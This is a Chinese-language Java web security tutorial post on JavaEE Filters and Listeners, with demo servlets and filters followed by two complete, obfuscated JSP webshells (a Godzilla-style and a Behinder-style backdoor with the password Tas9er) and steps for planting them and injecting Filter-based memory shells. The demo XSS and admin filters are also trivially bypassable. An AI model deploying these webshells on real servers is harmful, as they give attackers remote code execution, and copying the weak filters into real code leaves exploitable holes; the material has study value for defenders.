【java安全】从0到1--第2章

【java安全】从0到1--第2章
2023-5-22 10:25:16 Author: WIN哥学安全(查看原文) 阅读量:15 收藏

0x01 JavaEE-过滤器-Filter

Filter被称为过滤器，过滤器实际上就是对Web资源进行拦截，做一些处理后再交给下一个过滤器或Servlet处理，通常都是用来拦截request进行处理的，也可以对返回的 response进行拦截处理。开发人员利用filter技术，可以实现对所有Web资源的管理，例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

listennet（监听器）-》filter（过滤器）-》servlet（代码层）

内存马不到代码层，直接跳过了，连到数据库

创建测试项目，HttpServlet爆红问题
https://blog.csdn.net/bachfuck/article/details/109728214

XSSfilter过滤配置

TestServlet：

package com.example.filterdemo.filter.servlet;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;
@WebServlet("/test")public class TestServlet extends HttpServlet {
  @Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {      String code = req.getParameter("code");      PrintWriter out = resp.getWriter();      out.println(code);      out.close();  }}

XssFilter：

package com.example.filterdemo.filter;
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpServlet;import java.io.IOException;
@WebFilter("/test")public class XssFilter implements Filter {
  @Override  //中间件开启以后就开始运行  public void init(FilterConfig filterConfig) throws ServletException {      System.out.println("xss开启过滤");  }
  @Override  //中间件关闭就自动运行  public void destroy() {      System.out.println("xss销毁过滤");  }
  @Override  //doFilter路由触发方法  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
      System.out.println("xss正在过滤");      //过滤放行      filterChain.doFilter(servletRequest,servletResponse);  }}

一开始就已经开启了监听器，

等我们访问的时候给到了执行结果（触发了init）

当我们停止tomcat的时候，停止过滤

过滤没有写过滤内容，在放行代码前进行一个判断

System.out.println("xss正在过滤");      //Xss过滤，有payload过滤，没有放行      HttpServletRequest requset = (HttpServletRequest) servletRequest;      requset.getParameter("code");      String code = requset.getParameter("code");      if (!code.contains("<script>")){          //没有payload          //过滤放行          filterChain.doFilter(servletRequest,servletResponse);      }else{          //存在payload          System.out.println("可能存在xss攻击");      }

package com.example.filterdemo.filter;
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import java.io.IOException;
@WebFilter("/test")public class XssFilter implements Filter {
  @Override  //中间件开启以后就开始运行  public void init(FilterConfig filterConfig) throws ServletException {      System.out.println("xss开启过滤");  }
  @Override  //中间件关闭就自动运行  public void destroy() {      System.out.println("xss销毁过滤");  }
  @Override  //doFilter路由触发方法  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
      System.out.println("xss正在过滤");      //Xss过滤，有payload过滤，没有放行      HttpServletRequest requset = (HttpServletRequest) servletRequest;      requset.getParameter("code");      String code = requset.getParameter("code");      if (!code.contains("<script>")){          //没有payload          //过滤放行          filterChain.doFilter(servletRequest,servletResponse);      }else{          //存在payload          System.out.println("可能存在xss攻击");      }  }}

init-》dofilter-》destroy，这样的一个执行流程

请求的一个过程

Admin权限判断

AdminServlet：

package com.example.filterdemo.servlet;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;
@WebServlet("/admin")public class AdminServlet extends HttpServlet {  @Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {      System.out.println("欢迎来到管理员界面");  }}

AdminFilter：

package com.example.filterdemo.filter;
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.annotation.WebServlet;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import java.io.IOException;
@WebFilter("/admin")public class AdminFilter implements Filter {

  @Override  public void init(FilterConfig filterConfig) throws ServletException {      System.out.println("admin身份检测开启");  }
  @Override  public void destroy() {      System.out.println("admin身份检测销毁");  }
  @Override  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
      //检测cookie过滤      System.out.println("admin身份检测开始检测");      //获取cookie      HttpServletRequest request = (HttpServletRequest) servletRequest;      Cookie[] cookies= request.getCookies();      for (Cookie c:cookies){          String cName = c.getName(); //获取cookie名          String cValue = c.getValue(); //获取cookie值          System.out.println(cName);          System.out.println(cValue);          if (cName.contains("user") && cValue.contains("admin")){                  filterChain.doFilter(servletRequest,servletResponse);          }else{              System.out.println("非admin用户");          }      }  }}

初探java🐎子

Config.jsp（哥斯拉🐎）

//密码:Tas9er 密钥:lfNRX4 有效载荷:JavaDynamicPayload 加密器:JAVA_AES_BASE64 写入时去掉此行
Hello Administrator!Welcome To Tas9er Godzilla JSP Console!<%! String govsb_uV9q = "369cb3b8becea21a";  String govsb_UkbXDu = "Tas9er";  class govsb_3 extends /*edusb_suAZvRiR3*/ClassLoader {      public govsb_3(ClassLoader govsb_rQic) {          super/*edusb_a*/(govsb_rQic);      }      public Class govsb_xzEW3IMM(byte[] govsb_COjEHWGNDzzH3i) {          return super./*edusb_uEIxv*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_F1xtlRscJ*/(govsb_COjEHWGNDzzH3i, 668449-668449, govsb_COjEHWGNDzzH3i.length);      }  }  public byte[] govsb_ESlIWvCZu0U(byte[] govsb_VfrYhvrOtnH, boolean govsb_NPPoT6my) {      try {          j\u0061\u0076\u0061\u0078./*edusb_X7VbSt*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_L1tz5WVey = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_6RCTNhviQxTG*/("AES");          govsb_L1tz5WVey.init(govsb_NPPoT6my?668449/668449:668449/668449+668449/668449,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_ozuS2*/SecretKeySpec/*edusb_F7GjyBjf8Ge*/(govsb_uV9q.getBytes(), "AES"));          return govsb_L1tz5WVey.doFinal/*edusb_yyi5ieb*/(govsb_VfrYhvrOtnH);      } catch (Exception e) {          return null;      }    }  %><%  try {      byte[] govsb_LTOAYraLi2x5ira = java.util.Base64./*edusb_DfK3*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_cGN*/decode(request.getParameter(govsb_UkbXDu));      govsb_LTOAYraLi2x5ira = govsb_ESlIWvCZu0U(govsb_LTOAYraLi2x5ira,false);      if (session.getAttribute/*edusb_ShWHuEfLJqtYEQ*/("payload") == null) {          session.setAttribute("payload", new govsb_3(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_xy*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_aaS*/.govsb_xzEW3IMM(govsb_LTOAYraLi2x5ira));      } else {          request.setAttribute("parameters", govsb_LTOAYraLi2x5ira);          java.io.ByteArrayOutputStream govsb_Bt = new java.io./*edusb_GqA*/ByteArrayOutputStream();          Object govsb_rqB9gzq17qI = /*edusb_tacM9KaUMtutNpY*/((Class) session.getAttribute("payload"))./*edusb_BhHR*//*edusb_R*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_z9hk*/;          govsb_rqB9gzq17qI.equals(govsb_Bt);          govsb_rqB9gzq17qI.equals(pageContext);          response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(668449-668449, 16));          govsb_rqB9gzq17qI.toString();          response.getWriter().write(java.util.Base64/*edusb_RxRJZOonjPE*/.getEncoder()/*edusb_Mpw0*/.encodeToString(govsb_ESlIWvCZu0U(govsb_Bt.toByteArray(),true)));          response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(16));      }  } catch (Exception e) {  }%>

将上边的jsp放到webapp即可

内存🐎

MemoryShell

FilterShell

getALLfilter(获取所有内存马)

filtersInfo:filterName: com.example.filterdemo.filter.AdminFilter servletNames: [] urlPatterns: [/admin]filterName: com.example.filterdemo.filter.XssFilter servletNames: [] urlPatterns: [/test]filterName: Tomcat WebSocket (JSR356) Filter servletNames: [] urlPatterns: [/*]//1,2 项目本身 3为中间件

addfilterShell(新增内存马)

add完毕后，再get一下。会发现新增一个监听器。

常规功能是在Serlvet（代码层）实现木马链接，而这个注入的内存马是在Filter的，前边的Listener也可以注入内存马

removeFilter(移除内存马)

Config1.jsp（冰蝎🐎）

<%! 密码Tas9er 写入时去掉此行%>Hello Administrator!WelCome To Tas9er Java Console!<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %><%!  class tas9erCGIjbGbQt extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {      tas9erCGIjbGbQt(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 tas9erYK16oSMMl) {          super(tas9erYK16oSMMl);      }      public Class tas9er1HtPfdAKI(byte[] tas9ernh7MjwAtK) {          return super.d\uuuuuuuuu0065fineClass(tas9ernh7MjwAtK,0,tas9ernh7MjwAtK.length);      }  }%><%  out.println("Random Garbage Data:");  Random tas9ersoV3r1IWc = new Random();  int tas9er0RebXw3Z6 = tas9ersoV3r1IWc.nextInt(1234);  int tas9erPlYa7lKMN = tas9ersoV3r1IWc.nextInt(5678);  int tas9erYQ243vUep = tas9ersoV3r1IWc.nextInt(1357);  int tas9erdxK2eskj9 = tas9ersoV3r1IWc.nextInt(2468);  out.println(tas9er0RebXw3Z6+","+tas9erPlYa7lKMN+","+tas9erYQ243vUep+","+tas9erdxK2eskj9);  String[] tas9erjLEELM31f = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};  String tas9erw3S5Bp9gL = tas9erjLEELM31f[1] + tas9erjLEELM31f[3] + tas9erjLEELM31f[5] + tas9erjLEELM31f[7];  if (request.getMethod().equals(tas9erw3S5Bp9gL)) {      String tas9erN5lxMHHQL = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));      session.setAttribute("u", tas9erN5lxMHHQL);      Cipher tas9erxywTO5Nub = Cipher.getInstance("AES");      tas9erxywTO5Nub.init(((tas9er0RebXw3Z6 * tas9erPlYa7lKMN + tas9erYQ243vUep - tas9erdxK2eskj9) * 0) + 3 - 1, new SecretKeySpec(tas9erN5lxMHHQL.getBytes(), "AES"));      new tas9erCGIjbGbQt(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9er1HtPfdAKI(tas9erxywTO5Nub.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);  }%>

将上边的jsp放到webapp即可

启动tomcat运行，访问Config.jsp,使用冰蝎连接该地址，默认密码为 Tas9er。右键也可以注入内存🐎

0x02 JavaEE-监听器-Listen

listen 监听动作，filter是触发动作

参考：https://blog.csdn.net/qq_52797170/article/details/124023760-监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件-监听域对象的属性发生修改的事件-监听在事件发生前、发生后做一些必要的处理1、创建监听器2、监听器内置方法3、监听器触发流程@WebListener<listener>  .......</listener>

Servlet->CreatSession DelSession

CreatSession

package com.example.listendemo.Serlvet;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;
@WebServlet("/cs")public class CreatSession extends HttpServlet {
  @Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      System.out.println("servlet开始创建session");
      //创建session      req.getSession();  }}

DelSession

package com.example.listendemo.Serlvet;
import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;

@WebServlet("/ds")public class DelSession extends HttpServlet {
  @Override  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      System.out.println("servlet销毁session");      //销毁session      req.getSession().invalidate();  }}

listener->ListenSession

package com.example.listendemo.listener;import javax.servlet.annotation.WebListener;import javax.servlet.http.HttpSessionEvent;import javax.servlet.http.HttpSessionListener;
@WebListenerpublic class ListenSession implements HttpSessionListener {  @Override  public void sessionCreated(HttpSessionEvent se) {      System.out.println("Listen监听器监听到session创建");  }
  @Override  public void sessionDestroyed(HttpSessionEvent se) {      System.out.println("Listen监听器监听到session销毁");  }}

在启动时，会默认拿到一个session

访问cs会创建一个session

访问ds会销毁session

如果多次访问cs，servlet会执行多次，listen只会执行一次监听。

监听器安全场景

代码审计中分析执行逻辑触发操作，红队内存马植入，蓝队清理内存马等

文章来源: http://mp.weixin.qq.com/s?__biz=MzkwODM3NjIxOQ==&mid=2247492845&idx=2&sn=ced648c6906aa55ab6a58bb745654583&chksm=c0c84519f7bfcc0f3cb40620ff2c5468aeaae3748b272371f0583a6200ef5975a2f6688555ae#rd
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